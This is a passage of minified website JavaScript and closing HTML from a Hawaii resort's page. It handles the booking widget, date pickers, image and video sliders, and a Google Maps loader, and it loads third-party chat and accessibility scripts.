Availability"})}catch(n){}f=="residences"?(e=$("#bookAdults").val(),$("#clusterCode").length>0&&$("#clusterCode").remove(),i="https://maunakearesidences.com/vacation-rentals/?guests="+e+"&start_date="+r+"&end_date="+u,setTimeout(function(){window.open(i,"_blank")},300)):($("#bookPromo").val()!=""?$(t).append('<input type="hidden" id="clusterCode" name="clusterCode" value="corp" />'):$("#clusterCode").length>0&&$("#clusterCode").remove(),setTimeout(function(){t.submit()},300))});document.addEventListener("keydown",function(n){const t=$("body");n.key==="Escape"&&t.hasClass("book-active")&&t.removeClass("book-active")});setTimeout(function(){n();e();f();$(".dine-scripts .ot-dtp-picker-selector").append('<i class="arrow"><\/i>')},1500)}();$LAB.script("/js/vendors/site/litepicker.js").wait().script("/js/vendors/site/litepicker.keyboard.js").wait(function(){function i(n){let t=n.nextElementSibling;while(t){if(window.getComputedStyle(t).display!=="none")return t;t=t.nextElementSibling}return null}const r=$("#bookCheckIn"),t=$("#bookCheckOut"),n=new Date;const f=new Litepicker({element:document.getElementById("bookCheckIn"),singleMode:!0,format:"MM/DD/YYYY",minDate:new Date-1,firstDay:0,plugins:["keyboardnav"],keyboardnav:{firstTabIndex:0},setup:n=>{n.on("render",n=>{const t=n.querySelector(".button-previous-month"),i=n.querySelector(".button-next-month");t&&t.setAttribute("aria-label","Previous Month");i&&i.setAttribute("aria-label","Next Month")});n.on("selected",n=>{const i=n;i.setDate(i.getDate()+1);u.setDate(i);r.addClass("has-value");t.addClass("has-value")});n.on("hide",()=>{try{let r=n.triggerElement,u=r.parentNode,t=i(u);t.setAttribute("tabindex",-1);setTimeout(()=>{t.focus()},300)}catch(t){console.log(t)}})}}),u=new Litepicker({element:document.getElementById("bookCheckOut"),singleMode:!0,format:"MM/DD/YYYY",minDate:new Date(n.getFullYear(),n.getMonth(),n.getDate()+1),firstDay:0,plugins:["keyboardnav"],keyboardnav:{firstTabIndex:0},setup:n=>{n.on("render",n=>{const t=n.querySelector(".button-previous-month"),i=n.querySelector(".button-next-month");t&&t.setAttribute("aria-label","Previous Month");i&&i.setAttribute("aria-label","Next Month")});n.on("selected",()=>{t.addClass("has-value")});n.on("hide",()=>{try{let r=n.triggerElement,u=r.parentNode,t=i(u);t.setAttribute("tabindex",-1);setTimeout(()=>{t.focus()},300)}catch(t){console.log(t)}})}})}).script("/js/vendors/site/input-spinner-v2.js").wait(function(){function t(){$(".field-promo").slide
5065Up();$(".field-room").slideUp();$(".field-children").slideUp();$("#bookPromo").attr("readonly",!0);$("#isSearch").attr("readonly",!0);$("#clusterCode").attr("readonly",!0);$("#numberOfRooms").attr("readonly",!0);$("#bookChildren").attr("readonly",!0);$("#bookAdults").attr("data-max","10");$(".mobile-book-notice").removeClass("active");var n=$("#bookAdults").attr("data-max");try{$("#guestsSpinner").spinner("updateMax",n).spinner("changing",function(){})}catch(t){}}function n(n){if(n){let t=$('[data-promo="'+n+'"]');$(".book-promo-slide").fadeOut().promise().done(function(){$(".book-promo-slide").find("a").attr("tabindex",-1);t.fadeIn();t.find("a").attr("tabindex",0)})}}function i(){let i=location.pathname;if(i.includes("westin-hapuna-beach-resort"))$("#staySelect").val("KOAWI").trigger("change");else if(i.includes("mauna-kea-residences"))$("#staySelect").val("residences").trigger("change");else{let i=$("#staySelect").val(),r=$("#staySelect").find("option:selected").index();i=="residences"&&t();n(i)}}function r(){let r=location.pathname.toLowerCase()=="/wifi";if(r){let i=$("#book-tab-2"),u=$("#book-tabpanel-2");$(".book-tab").not(i).attr("aria-selected",!1);i.attr("aria-selected",!0);$('.book-tabs-wrap [role="tabpanel"]').hide();u.show();let t=$(".dine-scripts .ot-restaurant-picker select").val();t==0&&(t="40177");n(t)}}$("#staySelect").off("input").on("input",function(){var i=$(this),r=i.val();let f=i.find("option:selected").index(),u=$(".mobile-book-notice");setTimeout(function(){if(n(r),r=="residences")t();else{$(".field-promo").slideDown();$(".field-room").slideDown();$(".field-children").slideDown();$("#bookPromo").removeAttr("readonly");$("#isSearch").removeAttr("readonly");$("#clusterCode").removeAttr("readonly");$("#numberOfRooms").removeAttr("readonly",!0);$("#bookChildren").removeAttr("readonly",!0);$("#bookAdults").attr("data-max","4");r=="KOAAK"?u.addClass("active"):u.removeClass("active");var f=$("#bookAdults").attr("data-max");try{$("#guestsSpinner").spinner("updateMax",f).spinner("changing",function(){})}catch(e){}}i.blur()},300)});$("body").off("input").on("input",".dine-scripts .ot-restaurant-picker select",function(){const i=$(this);let t=i.val();t==0&&(t="40177");setTimeout(()=>{n(t),i.blur()},300)});$(".book-tab").off("click").on("click",function(){const i=$(this),u=i.attr("aria-controls"),r=$(`#${u}`);let f=i.data("tab"),t;$(".book-tab").not(i).attr("aria-selected",!1);i.attr("aria-selected",!0);$('.book-tabs-content [role="tabpanel"]').not(r).fadeOut();r.fadeIn();f=="dine"?(t=$(".ot-restaurant-picker select").val(),t==0&&(t="40177")):t=$("#staySelect").val();n(t)});try{$("#guestsSpinner, #roomSpinner, #childrenSpinner").spinner("changing",function(){})}catch(u){}setTimeout(function(){r();i()},1500)}),function(){function i(){n.hasClass("slick-initialized")&&n.slick("unslick");n.off("init").on("init",function(){let i=n.find('[data-slick-index="0"]');i.hasClass("has-video")&&t[0].addEventListener("ended",function(){n.slick("slickNext")});setTimeout(function(){objectFitPolyfill();n.removeClass("loading")},250)});n.off("beforeChange").on("beforeChange",function(i,r,u,f){objectFitPolyfill();let o=n.find("[data-slick-index="+u+"].hero-slide"),e=n.find("[data-slick-index="+f+"].hero-slide");o.hasClass("has-video")&&t[u].pause();e.hasClass("has-video")?(n.slick("slickPause"),t[f].play(),t[f].addEventListener("ended",function(){n.slick("slickNext")})):n.slick("slickPlay");e.find("figcaption").addClass("loading")});n.on("afterChange",function(t,i,r){setTimeout(function(){let t=n.find("[data-slick-index="+r+"]");t.find("figcaption").removeClass("loading")},500)});n.slick(u)}let t={};const n=$(".hero"),r=n.find(".has-video");r.each(function(){function s(){f=setInterval(function(){let t=n.currentTime/n.duration*100;o.css("width",t+"%")})}function h(){clearInterval(f)}function c(){n.pause();i.removeClass("icon-pause-1");i.attr("aria-label","play video");i.addClass("icon-play-1")}function l(){n.play();i.removeClass("icon-play-1");i.attr("aria-label","pause video");i.addClass("icon-pause-1")}function a(){s();l()}function v(){h();c()}const r=$(this),e=r.index();let n=r.find("video")[0],u=r.find(".hvideo-ctrl"),i=u.children("i"),o=r.find(".progress-bar-fill"),f;t[e]=n;n.addEventListener("play",a);n.addEventListener("pause",v);u.on("click",function(){n.paused?n.play():n.pause()})});const u={lazyLoad:"ondemand",lazyLoadBuffer:0,speed:500,fade:!0,cssEase:"linear",appendArrows:$(".hero-nav"),autoplay:!1,autoplaySpeed:7e3,pauseOnHover:!1,draggable:!1,pauseOnFocus:!1,responsive:[{breakpoint:1025,settings:{draggable:!0}},]};let f=document.querySelector(".hero"),e=new IntersectionObserver(function(n){if(n[0].isIntersecting){if($(".hero").find(".slick-current").hasClass("has-video")){let n=$(".hero").find(".slick-current").data("slick-index");t[n].play()}}else if($(".hero").find(".slick-current").hasClass("has-video")){let n=$(".hero").find(".slick-current").data("slick-index");t[n].pause()}},{rootMargin:"0px 0px 50px 0px",threshold:0});e.observe(f);i();$(window).on("init-hero-tour",i)}();$LAB.script("/js/vendors/site/swiper.min.js").wait(function(){function n(){let n=.5;const t=new Swiper(".dj-slider-prev",{touchRatio:0,loop:!0,speed:1e3,slidesPerView:"auto",preloadImages:!1,lazy:{loadPrevNext:!0,loadPrevNextAmount:2},watchSlidesProgress:!0,watchSlidesVisibility:!0,touchEventsTarget:"wrapper",keyboard:{enabled:!0},on:{init:function(){let n=this,t=document.querySelector(".dj-slider-main"),i=t.querySelectorAll(".swiper-slide");
5065i.forEach(function(n){let i=n.querySelector("h3"),t=i.cloneNode(!0);t.setAttribute("aria-hidden",!0);n.querySelector(".dj-slider-media").append(t)});$(window).on("resize",function(){setTimeout(function(){n.update()},500)})},lazyImageReady:function(){let n=this;setTimeout(function(){n.update();n.el.classList.remove("loading")},500)},progress:function(){let t=this;for(let i=0;i<t.slides.length;i++){let r=t.slides[i].progress,u=t.width*n,f=r*u;t.slides[i].querySelector(".dj-slider-media").style.transform="translateX("+f+"px)"}},touchStart:function(){let n=this;for(let t=0;t<n.slides.length;t++)n.slides[t].style.transition=""},setTransition:function(n){let t=this;for(let i=0;i<t.slides.length;i++)t.slides[i].style.transition=n+"ms",t.slides[i].querySelector(".dj-slider-media").style.transition=n+"ms"}}}),i=new Swiper(".dj-slider-main",{loop:!0,speed:1e3,slidesPerView:"auto",preloadImages:!1,lazy:{loadPrevNext:!0,loadPrevNextAmount:2},watchSlidesProgress:!0,watchSlidesVisibility:!0,touchEventsTarget:"wrapper",navigation:{prevEl:".js-dj-slider-prev",nextEl:".js-dj-slider-next"},controller:{control:t},longSwipes:!1,keyboard:{enabled:!0},on:{init:function(){let n=this},lazyImageReady:function(){let n=this;setTimeout(function(){n.update();n.el.classList.remove("loading")},500)},progress:function(){let t=this;for(let i=0;i<t.slides.length;i++){let r=t.slides[i].progress,u=t.width*n,f=r*u;t.slides[i].querySelector(".dj-slider-media").style.transform="translateX("+f+"px)"}},touchStart:function(){let n=this;for(let t=0;t<n.slides.length;t++)n.slides[t].style.transition=""},setTransition:function(n){let t=this;for(let i=0;i<t.slides.length;i++)t.slides[i].style.transition=n+"ms",t.slides[i].querySelector(".dj-slider-media").style.transition=n+"ms"}}})}loadSlider(".dj-sliders-wrap",n)}),function(){function n(){const t=$(".js-exp-slider-nav");t.slick({lazyLoad:"ondemand",arrows:!1,asNavFor:".js-exp-slider",focusOnSelect:!0,variableWidth:!0,responsive:[{breakpoint:768,settings:{centerMode:!0}},]});const n=$(".js-exp-slider");n.on("init",function(){setTimeout(function(){n.slick("setPosition");n.removeClass("loading")},500)});n.slick({fade:!0,asNavFor:".js-exp-slider-nav",responsive:[{breakpoint:768,settings:{arrows:!0}},]})}loadSlider(".experience",n)}(),function(){function n(){const n=$(".js-hist-slider");n.on("init",function(){setTimeout(function(){n.slick("setPosition");n.removeClass("loading")},500)});n.slick({fade:!0,lazyLoad:"progressive",prevArrow:'<button type="button" class="slick-prev has-text-arrow"><i><\/i> Previous<\/button>
5065',nextArrow:'<button type="button" class="slick-next has-text-arrow"><i><\/i> Next<\/button>',appendArrows:$(".hist-slider-nav")})}loadSlider(".hist-slider",n)}(),function(){function n(){function i(i){const r=n.find('[data-slick-index="'+i+'"]'),u=r.find("figcaption").contents().clone();$(".perc-slider-desc").empty().append(u);t(i)}function t(n){let i=n!=""?n:0;const t=$(".ps-btn").eq(i);$(".ps-btn").not(t).removeClass("active");t.addClass("active")}const n=$(".js-glance-slider");n.on("beforeChange",function(n,t,r,u){i(u)});n.on("init",function(){i(0);t(0);setTimeout(function(){n.slick("setPosition");n.removeClass("loading")},500)});n.slick({lazyLoad:"progressive",prevArrow:'<button type="button" class="slick-prev brand-arrow" aria-label="Previous"><\/button>',nextArrow:'<button type="button" class="slick-next brand-arrow" aria-label="Next"><\/button>',appendArrows:$(".perc-slider-nav")});$(".ps-btn").on("click",function(){const i=$(this).index();n.slick("slickGoTo",i);t(i)})}loadSlider(".perc-slider-wrap",n)}(),function(){function n(){const n=$(".js-offers-slider");n.on("init",function(){setTimeout(function(){n.slick("setPosition");n.removeClass("loading")},750)});n.slick({lazyLoad:"progressive",prevArrow:'<button type="button" class="slick-prev has-text-arrow"><i><\/i> Previous<\/button>
5065',nextArrow:'<button type="button" class="slick-next has-text-arrow"><i><\/i> Next<\/button>',appendArrows:$(".offers-arrows")})}loadSlider(".offers-slider-wrap",n)}(),function(){function i(n){var t=n.offset().top,r=t+n.outerHeight(),i=$(window).scrollTop(),u=i+$(window).height();return r>i&&t<u}function r(){t||(t=!0,window.$HDMLAB=(window.$HDMLAB||$LAB).script("/components/map/js/map.js?v=8").wait(function(){setTimeout(function(){const n=$("#map img");n.each(function(n,t){const i=$(t);i.attr("alt")&&i.attr("alt")!==""||i.attr("alt","Google Maps image")})},750)}).script("https://maps.googleapis.com/maps/api/js?libraries=geometry&callback=initMap&key=AIzaSyBlr_LhC7DzFL-K8qwWGwC5Cr3qT1KTO2I").wait(function(){$(document).on("map-loaded",function(){window.markerToShow&&(google.maps.event.trigger(markerToShow,"click"),setTimeout(function(){$("html, body").animate({scrollTop:n.offset().top-$(".site-header").height()},700)},2e3))})}))}var n=$(".site-map"),t=!1;if(n.length){(i(n)||location.search.indexOf("loc")>-1)&&r();$(window).on("load scroll resize",function(){i(n)&&r()})}}(),function(){const n=$(".js-reviews-slider");if(n){n.on("init",function(){setTimeout(function(){n.slick("setPosition")},500)});n.slick({appendArrows:$(".reviews-slider-wrap")})}}();$LAB.script("/js/vendors/site/jquery.magnific-popup.min.js").wait(function(){var n=$(".eclub-pop-form .js-input");n.blur(function(){tmpval=$(this).val();tmpval==""?$(this).removeClass("has-value"):$(this).addClass("has-value")});n.each(function(){$(this).val()&&$(this).addClass("has-value")})})
5066                    //end
5067                    $.noConflict();
5068                    
5069                    if($.attachReady)
5070                        $ = $.attachReady(jQuery);
5071
5072                }
5073                _hdmq.add(coreLoaded);
5074                //after core inline
5075                
5076                //end
5077
5078                if (window.addEventListener)
5079                    window.addEventListener("load", afterBodyLoad, false);
5080                else if (window.attachEvent)
5081                    window.attachEvent("onload", afterBodyLoad);
5082                else window.onload = afterBodyLoad;
5083            }());
5084        </script>
5084
5085        
5086
5087<script type='text/javascript'>
5088	function initEmbeddedMessaging() {
5089		try {
5090			embeddedservice_bootstrap.settings.language = 'en_US'; // For example, enter 'en' or 'en-US'
5091
5092			embeddedservice_bootstrap.init(
5093				'00D6g0000036jvL',
5094				'Agentforce_Web_Service_Deployment',
5095				'https://princeresortshawaii12345.my.site.com/ESWAgentforceWebService1741097400877',
5096				{
5097					scrt2URL: 'https://princeresortshawaii12345.my.salesforce-scrt.com'
5098				}
5099			);
5100		} catch (err) {
5101			console.error('Error loading Embedded Messaging: ', err);
5102		}
5103	};
5104</script>
vendor: 2 bytes, line 5104
5104
5105<script type='text/javascript' src='https://princeresortshawaii12345.my.site.com/ESWAgentforceWebService1741097400877/assets/js/bootstrap.min.js' onload='initEmbeddedMessaging()'></script>
5105
5106
5107
5108
5109<script type="text/javascript">
5110    _hdmq.add(function () {
5111        !function () { var t = function () { var t = document.createElement("script"); t.src = "https://ws.audioeye.com/ae.js", t.type = "text/javascript", t.setAttribute("async", ""), document.getElementsByTagName("body")[0].appendChild(t) }; "complete" !== document.readyState ? window.addEventListener ? window.addEventListener("load", t) : window.attachEvent && window.attachEvent("onload", t) : t() }();
5112    });    
5113</script>
5113
5114
5115    </body>
5116</html>
5117

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.